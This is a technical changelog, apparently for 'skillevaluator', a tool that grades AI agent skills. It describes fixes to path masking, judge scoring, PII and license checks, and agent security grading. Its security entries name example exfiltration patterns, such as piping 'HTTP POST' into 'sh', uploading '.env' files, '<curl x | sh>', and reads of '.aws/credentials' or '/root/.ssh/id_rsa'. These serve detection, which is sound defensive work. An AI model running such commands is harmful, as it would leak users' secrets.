skillevaluator tier3 feedbacknow writes the evaluated skill's directory (known from--skillor a run in the skill'sevals/results) as its name and the home directory as~in the evidence it sends to the LLM, so an error naming the skill'sSKILL.mdno longer shows its local path. A copied run's path starting with~user/or$HOME/is now also replaced with the run ID. Path masking now leaves a URL unchanged, even when its query or fragment names a local path, unless its scheme isfile:or ends in+file:, such asgit+file:. The URL ends at whitespace, a quote,<,>, a backtick,^,{,|,}, or an ANSI escape, at a\n,\r, or\tescape, and before an absolute path or another scheme after a,or;(also with a name such asLOG=or--find-links=) or a Markdown](, so a run, skill, or home path after it in minified JSON, on the next line of an escaped env dump, or in a,- or;-separated list is still masked, and so is afile:URL after it. A Windows path in a URL is kept, also with a folder whose name starts withn,r, ort, such as\runs\or\t\, unless that name holds a character other than a letter, a digit,_,.,~,$,%, or-, such as\runs(old)\, or no backslash follows it, as in\notes.txt; the URL then ends there. A copied run's path right after a\n,\r, or\tescape or an ANSI code, such as a color or erase-line code, is now replaced with the run ID, and the escape or code is kept, also with no URL before it. 0.8.0 sent such a path as is after a word, as indone.\n/srv/..., or after a raw ANSI code, and replaced an escape or an escaped code with it otherwise. A relative path after such an escape is no longer read as an absolute one. A field over 65,536 characters with no whitespace after its limit now keeps a masked prefix, cut at punctuation such as,or}but never inside a URL's user info or host, soError:followed by minified JSON no longer arrives asError: ...<truncated>.Tier 3 HTML Attempt Details now show an agent timeout that a later scored attempt recovered under
--stop-on-pass, and count it in the case's attempts. In 0.8.0 a case that timed out on attempt 1, passed on attempt 2 and skipped attempt 3 read1 of 2 scoredandpassed on scored attempt 2, with nothing about the timeout; it now readsA1: timed out, recovered,1 of 3 scoredandpassed on attempt 2. The Result column sayspassed on attempt Nfor every case, because N is the attempt's number, not a count of scored attempts.tier3 evaluatealso prints one line for each agent with recovered timeouts. Scores, pass@k and attempt coverage are unchanged.Tier 3 security grading again warns about network exfiltration, lowering the Security score to 0.5, for an HTTPie method word after a capitalized
HTTP,HTTPS, orHttpword in cases that 0.8.0 stopped flagging: theHTTPword follows a pass-through wrapper or a$VARcommand word, as instrace -f HTTP POST URL, or is printed into a pipe byechoorprintf, as inecho HTTP POST URL | sh, or a brace-expandedname:@fileheader item such asX-Data:{@,}.envfollows it. Both the host checker and the bundled Harbor verifier apply the fix. Prose such asUse HTTP POST to create an item.in a here-document or an unpipedechostill does not warn.tier3 comparereads standard-policy Overall lift fromlift.jsonwhen the arms have different metric applicability, matching the canonical report. Missing lift data is shown as-; custom-only and legacy agents retain their arm-difference comparison.Tier 2
similarity-checkand context deduplication now parse Markdown frontmatter within fixed structure limits: 100 nesting levels, 20,000 nodes, 1,024 alias references, 1,024 items in one mapping or sequence, 65,536 characters in one value, and integers up to 14,000 bits, with aliases and merge keys counted after expansion. In 0.8.0 both used plainyaml.safe_load, andsimilarity-checkconverted anameordescriptionthat was not a string to text. A 477-byteSKILL.mdwhose frontmatter chains YAML aliases produced an 82-million-character description, and a 543-byte one that chains merge keys took 180 MB in context deduplication; each further level multiplies the cost by ten. Mapping frontmatter over a limit now stopssimilarity-checkwith an error that names the manifest, and context deduplication with a CRITICALmanifest_complexity_limitfinding, before any provider call. Text between the---lines that is not a mapping is still not frontmatter and is never checked against these limits.similarity-checknow excludes a manifest whosename,title, ordescriptionis a non-empty value that is not a string, such asname: 2048orname: yes, with the coverage reasonnon_string_name_or_descriptioninstead of converting the value. Its debug diagnostic omits the absolute manifest path, keeping private host-directory names out of logs. An empty, zero, or false value such as0,false, or[]still getsmissing_name_or_description. Either way, like any excluded manifest, it makes the scan incomplete. It stops with an error that names the manifest when a value is longer than 16,384 characters, the per-field catalog text limit; description mode still also capsname: descriptionat 16,384 characters. An invalid tagged value such as!!int "", an impossible date such as2024-02-30, or a decimal integer longer than 4,300 digits (Python's default limit for converting text to an integer) now counts as invalid frontmatter instead of stopping either check with an unexpected error. A repeated key still keeps its last value in both checks.tier3 select-decoysand group-mode decoy loading (skill_workspace.decoy_manifest) read the target's and each selected skill's frontmatter the same way. Anameordescriptionthat is not a string, such asname: yes, now fails them withDecoy selection requires a skill with a root SKILL.md whose frontmatter is a valid YAML mapping with a non-empty string name and descriptioninstead of being converted to text; invalid YAML, such as an unquoteddescription: Use when: debugging logs, and an empty value get the same message. Frontmatter over a limit, or a value longer than 16,384 characters, fails them with an error that names the manifest.The Tier 3 verdict is now FAIL when a scored dimension is below 0.40 and another dimension has no score. In 0.8.0 a dimension with no score made the agent NEUTRAL before the 0.40 check ran. Correctness has no score when no case defines
ground_truth, so an agent with Efficiency 0.1 got a NEUTRAL verdict. For such a run the overall verdict inBENCHMARK.mdis now FAIL (was INCOMPLETE). The JSON report'stier3.verdictandpublication_statusarefail(wereneutralandincomplete), and the Tier 3 result'sstatusisfailed(waspassed). The terminal's Tier 3 line reads failed. The--format markdownreport shows publication status FAIL (was INCOMPLETE), a Failed count of 1 (was 0) and verdict FAIL (was NEUTRAL). Thetier3-benchmark.mdthattier3 evaluatewrites reads FAIL (was NEUTRAL). The HTML Tier 3 card readsFailed (advisory)in a defaultvalidaterun, andChanges requiredwith--block-on-agent-evaland in thetier3 evaluatereport, where it read Neutral. The HTML Tier 3 summary opens withCompleted-agent result: FAILand says other execution failures need attention, as it already did for a run with every dimension scored, in place ofVerdict at a glance: Neutral. A dimension with no score still keeps an agent from passing, and exit codes do not change. This FAIL also applies when every required check passes. A run with a failed required check, such as one with adestructive_commandfinding, already gets FAIL from that check (see Changed).
0.8.0 - 2026-11-05
Added
Private runtime runs retain sanitized loading, coverage, MCP, behavior and comparison views before cleanup. The saved snapshot supports offline reports in all six existing formats, with explicit missing evidence and omissions. Public command activation remains deferred.
skillevaluator tier3 feedback RUN_DIR [--skill PATH]opens a terminal chat about one completed Tier 3 run. Answers are grounded in that run's scores, with-skill and baseline comparisons, every case's attempts with per-metric scores, measured agent tokens and seconds, execution errors, and the report's saved feedback, without evaluating again or regenerating LLM feedback. It uses the configuredSKILL_EVAL_LLM_PROVIDERandSKILL_EVAL_LLM_MODEL, sends the run ID instead of the local path, redacts credential-shaped text, and writes nothing to disk. No request is sent before the first question.LLMClientgainschat(messages)for multi-turn requests with the same retries and typed errors ascompletions().Opt-in
LLM_JUDGE_FALLBACK_POLICYandLLM_JUDGE_RETRY_POLICYfor the Tier 3 standard judges.LLM_JUDGE_FALLBACK_POLICY=replacelets only the judge model and theLLM_JUDGE_FALLBACK_MODELSentries answer, without the built-inclaude-opus-4-8refusal fallback.LLM_JUDGE_RETRY_POLICY=stricttries at most three models with two requests each within the judge's time budget, moves on only when a model is unavailable, ends the judge on a refusal or a quota, budget, safety, or security error, and scores only a first reply that is exactly one JSON object. Any other value stops a run with standard grading before trials start. The defaults,appendandlegacy, keep the current behavior.Rubric evaluation JSON reports name the provider and model that gave each score as
llm_providerandllm_model_usedin the skill'srubric_evalsuccess detail and, for a single skill, also inrubric_eval. Tier 3 conclusions and recommendations written by the LLM, and LLM-written dimensions returned bycompute_dimensions, record the model that wrote them asmodel. For a Claude 5.5 or later model on the native Claude API this is the model the reply names: the server-side refusal fallback model, not the configured model, when the fallback answered. Otherwise it is the configured model, unless a server-sidefallbackblock in the reply names another model.The Tier 3 verifier saves every LLM judge attempt to
judge_attempts.jsonnext to the trial'sskill_evaluator_reward.json, rewritten after each attempt so it also explains a judge that failed. Each entry records the metric, attempt number, method (llm,ragasorsalvage), judge model, status, and the problem with a rejected reply, plus the prompt and reply with long text shortened. Abehavior_checkscore rebuilt from a truncated reply adds asalvageentry. Configured credentials, common key shapes, URL userinfo,Authorization, API-key, token andCookieheader values, and the values of credential flags such as--tokenandcurl -u user:passwordare masked. Rewards recordjudge_contract: skill-evaluator-judges-v2, a reserved name that custom graders cannot use.--pii-waivers PATHonvalidate,tier1, andpii-scanaccepts a reviewed PII value without relaxing the whole check through a severity override. Each waiver names the PII check, the file (relative to the waiver file's directory), the line, the SHA-256 digest that PII findings now report asevidence_sha256, a reason, an owner, and acreated/expireswindow of at most 366 days, and it stops applying as soon as any of them no longer matches. Other values on the same line are still reported. Reports list each waiver for a scanned file as applied (INFO), stale (LOW), or expired (MEDIUM), so one file can serve single-skill, folder, and catalog runs. A malformed file is rejected with exit code 2; through the Python API it applies no waivers and fails the PII scan with a HIGHinvalid-pii-waiver-filefinding. Credential checks cannot be waived, and their findings, like any finding whose value reports mask, carry no digest. Waivers are never discovered automatically inside the scanned skill; pass the file with--pii-waivers.Every finding now has stable IDs for tracking across runs and validators.
finding_id(SEF-…) is derived from the finding's category, check, message, and suggestion, so it survives line moves, whitespace or case changes, and severity overrides. Location text a check copies into its message is left out of it: thein <file>:<line>in a secret detection message, also in a folder or plugin run that prefixes the file path, and the— N occurrences (…)list a PII scan message ends with. A file name in a message or suggestion, as script lint and secret detection write, stays part of the ID.occurrence_id(SEO-…) adds the file, line, and line content. Otherwise identical findings in different files or skills share onefinding_id, so they count as one unique finding with one occurrence per location. When CI redacts a detected credential from a report, it recomputes the IDs from the redacted text and renders the HTML, Markdown, and SARIF copies from that JSON, so no ID is derived from a removed value. The JSON report and the HTML report's embedded data addfinding_counts(raw records, distinct occurrences, unique findings, and duplicates removed),finding_groups(each unique finding with its validators and every location, including each location a PII finding lists for a repeated value, also in a folder run), andmessage_counts(error and warning strings with no finding behind them, such as failed gates and scanner or execution errors, but not the workflow scope note for a stage that configuration skips, plus informational messages other than the[OK]line recorded for each passed check); each JSON result also carries its ownfinding_counts. Markdown adds a Finding Reconciliation table, most severe first, and per-finding IDs.total_errors,total_warnings, andseverity_countsare unchanged.--skillspector-baseline FILEonvalidate,tier1, andsecurity-scanapplies an audited SkillSpector suppression baseline, so reviewed false positives no longer leave the security check failed orINCOMPLETE. Baselines apply only when passed explicitly; one shipped inside the skill is never used, and suppressed findings without a requested baseline still fail closed. A rule without a literal run in itsid(two characters) or in itspathormessage(four), such asid: "*"ormessage: "*e*", or a version 2 rule or fingerprint without areason, is rejected before the scan, as are entries that are not mappings, unparseable files, and files beyond SkillSpector's size and YAML expansion limits; an empty file is an empty baseline. A baseline kept inside the skill is excluded from the scan, including the staged copy used when the skill hasevals/outputs. JSON reports addresults[].skillspector_baselinewith the outcome (applied,no_matches,fingerprint_version_mismatch,llm_stage_unmatched, ornot_applied), the baseline file name andsha256:digest (never its local path), scanner versions, and per-stage finding counts with the suppressed findings' severities and rule IDs, and Markdown and HTML reports show the outcome as askillspector_baselineline. Fingerprints ignored after a SkillSpector upgrade, or not matched by the LLM stage, are reported instead of silently suppressing nothing; fingerprints only match static-only runs.Tier 3 Measured Agent Resources split each trial's trajectory time into LLM seconds and tool seconds, plus LLM milliseconds per prompt + completion token, with with-skill-minus-baseline deltas in the HTML report and the
resourcesJSON object. Native ATIF timing is used when present; otherwise the time is inferred from step timestamps and theWall timeheader of Codex shell andapply_patchoutput, so the default Codex agent on Harbor 0.24 gets real values. Each trial records its timing source, and a comparison that mixes native and inferred timing carries amixed_timing_sourcescaveat. Trials with unmeasured tool calls (for exampleupdate_plan, web search or MCP tools) stayN/A, and the time between multi-step Harbor steps is not counted. Deltas keep the existing complete-arm and matching-case rules; scores, verdicts and gates do not change.scripts/ci/check_public_benchmarks.pyaccepts--expected-source-repository,--expected-source-revisionand--expected-evaluator-container-revision, so a publishing pipeline can check that each card names the source it asked to evaluate. A card of any verdict fails when the matchingEvaluated source,Evaluated source revisionorEvaluator container revisionline is missing,not recorded, malformed, duplicated or different. Values are compared in the canonical form the card records, and any of these options implies--require-files. Without them the scan is unchanged.
Changed
Name the shared OSS validation policy
defaultfor both public and private repositories. Keep--profile external,--external, and the legacy environment value as compatibility aliases without changing validation rules. The CI image now selectsdefault; GitHub and GitLab templates explain that policy selection does not control report visibility. Existing image pins keep their previous label until upgraded to an image containing this change. New report policy metadata usesprofile: defaultandaudience: all; its digest and bundled source path change with the name. Saved reports are not rewritten.The Markdown summary and the HTML report's summary now count findings the same way: each unique finding once, at its highest severity, however many lines, files, skills or validators report it. Markdown's Total Issues adds distinct occurrences, raw records, and errors and warnings with no finding behind them, such as failed gates and incomplete scans; its severity breakdown counts unique findings. In HTML, the tier cards, the Tier 1 Findings and Blocking critical + high numbers, the verdict sentence, the skill finding badges and the gate policy line count unique findings, and the Findings number shows the same occurrence, raw-record and no-finding counts beneath it when they differ from the unique count. Both formats used to add up raw records, so a finding reported on several lines or by two validators counted more than once. The HTML report's embedded and exported data changes
summary.total_issuesthe same way: it now counts unique findings plus errors and warnings with no finding behind them, instead of raw errors plus warnings; the raw finding count is insummary.raw_finding_occurrencesandfinding_counts.raw_occurrences. The JSONskills[].issue_count, contributor totals,total_errors,total_warningsandseverity_countsstill count raw records.The Tier 3 per-evaluator drill-down and steps chart now include baseline (without-skill) trials. The drill-down adds a Condition column and shows metrics that only baseline rows scored; the steps chart plots one series per agent and condition from every trial, for up to 200 eval cases. Cases with missing or partial step telemetry stay gaps instead of zeros or partial averages. The token chart remains with-skill only; Measured Agent Resources compares token totals across both arms.
Tier 3
accuracygrades the outcome only. TheSKILL_IDENTIFIEDcriterion, which capped a correct answer from the no-skill baseline at 0.8 on positive cases, is replaced byFORMAT_FOLLOWED: the response follows any output format the question explicitly requires, and when none is required it is true only if the response gives an answer. A trial that ran but gave no answer still scores0.0, as before. Skill use is still scored byskill_execution. Every case and both arms use the same five criteria, so rewards no longer recordexcluded_criteriaor theapplicable-accuracy-criteria/v1policy; reports still read older rewards that do.judge_accuracystill accepts theskill_identification_applicablekeyword but ignores it. Expect baseline accuracy to rise and accuracy lift to fall for the same runs.Tier 3 LLM judges return verdicts only, and the verifier computes every score:
accuracyis passing criteria divided by five,goal_accuracyis1.0when the goal was achieved and0.0otherwise, andbehavior_checkis the share of expected behaviors observed. Ascorefield in a reply is ignored, and the prompts no longer ask for one. An invalid reply is retried once with the exact problem, for examplesteps not judged: [2], instead of a generic format reminder. The prompt examples are valid replies for the task at hand, and the goal prompt no longer shows an empty tool-call section.
Fixed
Tier 3 behavior-check evidence bundles now count a final answer cut by the final-response section limit as truncated. The omission check compared two renderings that both capped that section (800 characters by default), so a long final answer could lose its middle to the cap while the bundle claimed
truncated: false. The comparison now runs against a rendering without the final-response section limit. An answer that still reaches the judge in full is not flagged, including one split between the compact history and the end of the final-response section. Thereasonnames each setting that cut evidence:SKILL_EVAL_BEHAVIOR_CHECK_BUDGET,SKILL_EVAL_BEHAVIOR_FINAL_RESPONSE_LIMIT, or both. Caps inside individual sections (write bodies, history summaries) are unchanged. The evidence-budget documentation now names both causes of abehavior_checktruncation and which setting raises each.Tier 3 security grading no longer reports a network-exfiltration warning, which lowered the Security score to 0.5, for HTTP method prose such as
Use HTTP POST to create an item.orDocument HTTP PUT semantics.in a here-document orapply_patchbody. Linux finds a command by its exact name, so a later bareHTTP,HTTPS, orHttpword does not start HTTPie, and its method word is no longer read as an upload. Its body items, piped or redirected input,--raw, and a method word before aname:@fileheader item, even a quoted or escaped one, or before a$VARword still warn, as do a lowercasehttp PUT URL, a path or.exeword such as./HTTP POST URLorHTTP.exe POST URL, anHTTP POST URLcommand word, and any upload in the same action. Both the host checker and the bundled Harbor verifier apply the rule.Tier 3 Docker and Kata runs retry a Claude Code or Codex install that fails, for example on a dropped download or a package mirror error, instead of failing the trial on the first attempt. Up to three attempts run within Harbor's agent setup timeout, so an install that keeps failing still fails the trial. A slow failure that would leave no room for another attempt is not retried, so the trial reports the install error rather than a setup timeout, and each retry warning ends with the failed command's output. Platform probe and transport errors are not retried, and local mode still checks the installed CLI once.
Tier 3
--stop-on-pass(orharbor.stop_on_pass: true) no longer ignores--n-concurrent. Every case and attempt previously ran one at a time, so large evaluations took several times longer than the configured concurrency allowed. Up ton_concurrentcases now run at once per agent. A case's attempts still run one after another and stop after its first pass, the with-skill and without-skill arms still run one after the other, and the merged arm results keep dataset order.Tier 2 context deduplication no longer stops skills with many repeated sections at the
llm_cluster_member_limitwork limit. A candidate cluster with more than 64 members was reported as incomplete even when its review prompt fit the 64,000-character budget. The member limit now equals the 512-chunk ceiling, which the chunk check already enforces, so it is only a guard and never stops a scan on its own; the per-cluster prompt, total prompt, and cluster-count limits decide. When a cluster's request (system prompt plus cluster text) would exceed 64,000 characters, each exactly repeated text is sent once asSHARED CONTENT nwhen that makes the request shorter; a short text repeated under long headings stays inline. A Markdown section is compared without its own heading line, so the same body under different headings is shared too. Every occurrence keeps its own entry with its file, section, line range, and heading line. Distinct text is never dropped or sampled, so a cluster still over the budget stays incomplete withllm_prompt_size_limit. Duplicate andllm_refusedfinding messages name at most 64 member locations and source files and count the rest; the JSONsource_fileslist stays complete.On the native Claude API, the Tier 3 judges'
judge_model_usednames the server-side fallback model when the API serves a repeated request straight from that model. Such a reply has nofallbackcontent block, so the label now comes from the reply's ownmodelfield instead of the configured model.judge_fallback_usedis thentrue, and Skill Lift treats such a case like an in-call fallback: when another condition, attempt or step of the case was judged by the configured model, the case leaves that judge metric's lift and is counted injudge_mixed_cases.Tier 2
similarity-checkandcontext-optimization-checkno longer abort with a "symlink or reparse point" error when a skill or collection aliases one agent directory to another, such as.agents -> .claude. A directory link whose name is not a scanned file type and whose relative target is a regular directory found by the same scan is skipped without being followed, so the target directory is scanned once. Absolute links and Windows junctions, broken or escaping links, links to the scan root or one of the alias's parent directories,..after a named component, and aliases that point at another link remain rejected.PII scans no longer report Luhn-valid timestamps and digests as CRITICAL credit cards that fail
validateandpii-scan. A number is skipped when a label such astimestamp_microseconds:,event_timestamp:,unix_time,epoch_us,sha256:, orchecksum=directly precedes it, or when it sits inside a longer ASCII identifier or hex token such asid_1707938736269577; a card after a payment word and an underscore (card_4532015112830366,cc_...), in Markdown underscore emphasis (_4532015112830366_), after a string escape such as\nor a percent-encoded byte such as%3D, or written directly next to Chinese, Japanese, or Korean text is still reported. Known test card numbers, now including other widely published test cards such as4242424242424242and5555555555554444, are excepted however their digits are grouped (4111 1111 1111 1111). They no longer hide a different card number on the same line, so a card listed next to a test card is now reported. The exponent of a scientific-notation value such as1.000000e+00is no longer reported as an international phone number. GPS-shaped decimal pairs now need a geospatial cue (GPS, latitude/longitude, lat/lng,latlong/lonlatkeys, WGS 84, ageo:URI, a Google, Apple, OpenStreetMap, or Bing map link, a GeoJSON geometry,Feature, or collection type or"geometry"member, or location, office, address, or degrees, also in plural, numeric-suffix, snake_case, or camelCase forms such aslocations:,lat1, orhomeLocation) on the line, on one of the two lines before it, or in the file name, so waypoints, poses, quaternions, and calibration vectors are no longer reported as location data. Every position inside a GeoJSON geometry'scoordinatesarray written as JSON, a Python dict, or a JS object is still reported. Pairs without a cue, such ascoordinates: 37.7749, -122.4194orMeet me at 37.7749, -122.4194, are no longer reported either.A Tier 3
claude-codetrial that the model provider's safety classifier stops now ends as Harbor's typedAgentSafetyRefusalErroron the selected model, on the Anthropic API, Bedrock, Vertex AI and gateway routes alike. Claude Code 2.1.292 retried such a turn on another model from its own table (for exampleclaude-opus-4-8after Claude Opus 5.5) under the bare Anthropic ID: a route that does not serve that ID, such as a gateway, failed with HTTP 403 and anUnknownApiError, and where the retry succeeded the trial was scored as the selected model although another model finished it. Generated and native tasks now setCLAUDE_CODE_DISABLE_REFUSAL_FALLBACK=1in the task environment for every env mode, and neitherharbor.runtime_envnor a native task's[environment.env]can turn the fallback back on. Other agents ignore the variable. The variable was checked with Claude Code 2.1.292, the release Harbor installs; local mode keeps the fallback off only if the host's Claude Code honors it. A refused attempt is not scored, like any other failed trial, so the arm no longer has complete attempt coverage: after one refusal in 20 cases with 3 attempts each, it reportsScored attempt coverage is 59/60and its execution fails.tier3 evaluatethen exits 1, and so doesvalidate --block-on-agent-eval. On a route that serves the fallback model, such as the Anthropic API, the retry used to finish such an attempt and the arm succeeded, so a run that completed before can now fail. Rerun it, or evaluate the refused case with another model.Tier 3 staging no longer fails with
chmod: cannot use dir_fd and follow_symlinks togetherwhen it replaces or merges into an existing directory or file on Linux hosts whose glibc cannot change a mode without following symlinks (glibc before 2.32, or newer glibc without/proc). This affected, for example,init-custom-graderandinit-harbor-taskover an existingevals/directory. Staging still changes modes without following links where the platform supports it. Elsewhere it opens the entry without following links, confirms it is the entry it checked, and changes the mode through that open descriptor, so a link swapped in is refused instead of followed. Only an entry that cannot be opened, such as one its owner cannot read, is still changed by name, with an identity check afterwards.Local-mode sandbox errors now include Bubblewrap's own failure line when its startup probe fails, note that
pivot_root: Operation not permittedcan mean an enclosing container's seccomp profile blocks Bubblewrap, and suggestSKILLEVALUATOR_LOCAL_SANDBOX=preferalongsideoff.The license check now parses SPDX license expressions instead of splitting them on operators. Expressions with unbalanced parentheses, such as
(MIT OR Apache-2.0, were allowed, and dangling or repeated operators were only sent to review; both now fail with a HIGHunsupported_license_expressionfinding. A malformed value without an upper-caseAND,ORorWITH, such asmit or (apache-2.0, is reviewed as an unknown license name instead of being allowed, and(MIT)is allowed as MIT. A blocked license still fails a value that does not parse, such asGPL-3.0 (or later)or(GPL-3.0 OR MIT. The+,-onlyand-or-laterforms of blocked licenses, such asGPL-3.0+,AGPL-3.0+andLGPL-2.1-only, and deprecated ids such asGPL-2.0-with-classpath-exceptionare blocked instead of passing as unknown licenses.Apache-2.0 WITH LLVM-exceptionis allowed through a newallowed_license_exceptionslist, while an unlisted exception such asCommons-Clausestill needs review. An allowed frontmatter expression that leaves out the allowed license found in a LICENSE file is now a conflict, as a single identifier already was. SPDX headers inside Markdown inline code or table cells no longer keep the closing backtick or|, and a trailing;is dropped. Names such asMIT Licenseare matched as before.The quality check no longer reports command-line placeholders in a string
argument-hint, such as<file> [--strict]or<issue_id | symptom>, as a HIGH "XML tags in frontmatter" finding that failed the skill even with--min-score 0. An unquoted hint such as[<file>], which YAML reads as a list of strings, is masked the same way. Role and control tags (<system>,<tool_call>,<script>, nested forms, and role words with aprompt,message,call,use,resultorinstructionsuffix such as<system_prompt>), closing tags, attributes, and self-closing tags inargument-hintare still reported, and every other frontmatter field keeps the strict check. A group longer than four words, or one with shell command syntax (;,&, a backtick,$(,${, or a pipeline such as<curl x | sh>), is not treated as a placeholder and is still reported. A hint with a redirect, that is a>that closes no group (<cmd > file>,<cmd>file>,<cmd 2>file>,<curl x> /tmp/y>), or a group with text after a nested placeholder (<<curl x>/tmp/<y>>,<<x><y>>) or anything other than a plain name before it (<curl;sh<x>>,<$(curl x|sh)<x>>), is not masked at all and is still reported. An arrow or comparison between groups (<old> -> <new>,<n> >= 1,<count> (>0)) is not a redirect.PII scans no longer report card-shaped digits inside a canonical GUID/UUID, such as a COM interface ID or the nil UUID, or an all-zero number as a CRITICAL credit card. A GUID-shaped value directly after a payment label (
card_number:,credit_card=,cc_no:,pan) on its line or at the end of the previous line is still reported. Every card-shaped number on a line is now checked, so a GUID or non-Luhn number earlier on the line no longer hides a real card number after it.Tier 3 security grading no longer gives a critical finding and a security score of 0.0 when an agent uses
apply_patchto write a workspace file that only resembles a protected path. The.aws/credentialsand.config/gcloudentries now match a patch target with a directory prefix only in a home directory (~/,/root/,/home/<user>/,/Users/<user>/,C:\Users\<user>\,%USERPROFILE%), after the existing workdir,cd,~and$HOMEresolution. That resolution now reads a barecdas the home directory, skipscd/pushdoptions, leaves the directory unchanged forpushd -n/popd -n, reads/proc/self/root,/proc/<pid>/rootand similar aliases as/, and reads/proc/self/cwdas the call's working directory and/proc/<pid>/cwdas an unknown one. A relative header that itself starts with one of these names (.aws/credentials,./.config/gcloud/adc.json) is still flagged whatever directory it resolves against. When the shell decides the directory at run time (cd "$DIR",cd ${HOME:-/root},cd -,popd, a variableworkdir, an operand with quotes or backslashes the shell removes, acdinside a subshell, pipeline, branch, quoted-cscript or||/&&list that may not run, or aCDPATHassignment), these entries keep the existing match anywhere in the path, and a relative header such as.bashrcis also checked as a home path. A project file or test fixture such asproject/.aws/credentialsis no longer asensitive_file_write; a Windows home path such asC:\Users\<user>\.bashrcand a/proc/<pid>/rootor/proc/<pid>/cwdalias of a protected path now are. A shellapply_patchnow scores like the tool call: the command-text path checks skip the file header lines of an argv patch and of a heredoc body fed toapply_patch(as acmdstring or in the["bash", "-lc", script]argv form), so headers such asdocs/.config/gcloud-setup.mdno longer raisesensitive_path_access. Header paths that hold shell syntax (;,&,|,<,>,(,),$, a backtick or~) or a word that is itself a protected path (x /root/.ssh/id_rsa) are always checked, and so is every header when the command, or any other word of an argv command, pipes, redirects or capturesapply_patch's output, including through acoproc, since that output names each added file. Header-shaped lines elsewhere in the command, a heredoc body that a shell expands or runs (an unquoted body holding$, a backtick or a backslash), and heredocs whose extent is uncertain (mixed delimiter quoting, a missing terminator, a comment or ANSI-C quote before the operator, or another use of theapply_patchname) are still checked, as is abash -lc "..."string inside acmd. Read and Write tool paths and other shell commands keep the existing credential-path matching.An
--llmsecurity scan whose LLM provider keeps failing after SkillSpector's bounded retries no longer reports onlyskillspector-llm failed with unexpected exit code 2: scanner diagnostics were redacted(orskillspector reported execution_successful=false). When every failure in the SkillSpector v2.12.0+ report is anllm_connection_retries_exhaustedrow on an LLM analyzer, the error says that the provider kept failing, that this is a retriable provider failure rather than a security finding, and that the full scan should be retried when the provider is available. Mixed, truncated, malformed or older reports keep the generic error. The scan staysINCOMPLETEwith a nonzero exit, and static findings still decide aFAILEDresult.Tier 2 deduplication no longer fails a content cluster when the model wraps its JSON verdict in prose, puts a fenced block after a short preamble, or writes the fenced block on one line. Such replies come from prompt-only JSON, which Bedrock always uses and other providers fall back to after rejecting the structured-output schema; they previously failed with
LLM returned invalid JSON(or anIndexErrorfor the one-line fence) and left Tier 2 incomplete. Exactly one embedded JSON object is accepted. Replies with several objects are still rejected instead of guessed, and an object inside an array or a malformed container is never used as the verdict. As in the Tier 3 judge, an object with a repeated key, aNaNorInfinityvalue, a number that overflows a float or more than 128 levels of nesting is rejected, whether it is the whole reply or embedded in prose.Tier 3 HTML reports now explain failing evaluator scores. A failing evaluator card opens its per-trial evidence, shows the grader's reason (or, when the grader recorded none, its message, findings, or failed criteria), and quotes a short excerpt of the offending command or artifact. A failing cell in the per-evaluator drill-down shows the reason as a tooltip. When attempts of one case disagree, the card shows the lowest-scoring attempt's reason, so a passing attempt no longer hides a failure. Grader reasons and excerpts are credential-redacted, including the values of configured credential environment variables. Criteria the grader excluded from the score are not listed as failed. Drill-down reasons and excerpts are capped at 240 and 300 characters, and secret-detector findings never quote their detection pattern back. Large reports drop these reasons before any other detail, so they never displace the HTML overview or recorded evidence.
The Tier 3 HTML size notice no longer prints
<built-in method items ...>in place of the number of items the preview omitted.Ctrl+C during
tier3 evaluatenow stops the run. The interrupt reached only the coordinating thread, so running Harbor jobs kept going in their own process groups, agents waiting for a--max-agentsslot still started, and the command appeared to hang until every job finished. Queued agents, conditions, and--stop-on-passattempts now never start. Each running Harbor job receives SIGTERM and up to 30 seconds to stop its trial environments, such as Docker containers, before its process group is killed; a second Ctrl+C skips that wait, and on Windows the task tree is stopped immediately. Progress shows the agents that are stopping and reports the run as interrupted instead of failed unexpectedly.The prompt-based
goal_accuracyjudge, which runs whenever the RAGAS scorer does not (including with the default NVIDIA Build provider), used the reply'sscorefield over itsachievedverdict, soachieved: falsewithscore: 1.0scored 1.0. Other judge replies were also accepted when they should have been retried: anaccuracyreply with only a numeric total (clamped into 0 to 1, so99scored 1.0), abehavior_checkreply that judged one step twice and skipped another, and a RAGAS goal score other than0.0or1.0. Each is now rejected and retried, and a RAGAS score that is not binary falls back to the prompt judge.A Tier 1 security scan that SkillSpector reports as partial no longer fails with only "reports incomplete analysis (status 'partial')". The error quotes up to three completeness exceptions as
path [phase; reason_code; analyzers=...]and, when there are more, counts the incomplete files per reason, for example(incomplete files by reason: runtime_limit 462, obfuscated_instruction_text 4). Forruntime_limit, it explains the fix: when many files are cut short, a skill that bundles a large corpus hits the same SkillSpector time budget on every rerun and needs that material moved out of the skill, while a sub-analysis that stopped at its own budget (named<analyzer>_runtime_limit, such as the SC8 bytecode walk in SkillSpector 2.12.0) is not affected by bundle size and needs a rerun or a newer SkillSpector. A report with both kinds of rows gets both explanations. The scan still fails closed asINCOMPLETE.The Tier 3
goal_accuracyRAGAS scorer now produces scores. It passed aSingleTurnSampleto the RAGAS 0.4 collections metric, which takes the messages and reference as keyword arguments, so it failed before sending any request and every eligible trial (theopenaiprovider on the canonical endpoint with a judge model outside the GPT-5 and GPT-6 families) fell back to the prompt judge with only an info log. These trials now reportgoal_accuracywith"method": "ragas"instead of"custom", plusjudge_model_used,judge_reasoning_effortandjudge_fallback_used, so scores and lift can differ from earlier runs. A RAGAS failure that falls back to the prompt judge is logged as a warning with the redacted error, and the scorer's OpenAI client is closed after each attempt. A case scored by RAGAS in one condition and by the prompt judge in the other is left out of thegoal_accuracylift and counted injudge_mixed_cases, even when both used the same model. GPT-5 and GPT-6 judges, including the defaults, are unaffected.Tier 1
securityno longer fails a skill, rules, workflows, or plugin artifact on SkillSpector agent-threat matches in files no agent reads or runs, such as UI strings in HTML, CSS, or.vuefiles, test fixtures, documentation, notebooks, images, and lockfiles. Findings stay blocking on agent control paths (instructions, references, executables, agent configuration, MCP and plugin manifests) and on any file those reference by path, file name, skill or plugin root variable or placeholder (${CLAUDE_SKILL_DIR},$SKILL_DIR,$SKILL_ROOT,${CLAUDE_PLUGIN_ROOT},{baseDir},<skill-dir>), install path, or import, without regard to case. Files SkillSpector marks executable, such as.py,.js,.ts, and.tsxfiles undertests/orweb/, are executables, so their findings and those of any fixture they name stay blocking. An issue that SkillSpector reports for several files is suppressed only when every one of its occurrences is outside agent control paths. Supply-chain findings, YARA malware signatures, and artifact-integrity findings for a misleading extension or embedded NUL bytes still apply on every path, and a file named as a raster image keeps its findings unless its content is an image. A location or occurrence that is missing or escapes the artifact through..or a symlink keeps its finding. Malformed occurrences, a report that serializes fewer occurrences than it counted, an unloadable manifest, and an unfinished reference walk keep every affected finding. Suppressed issues 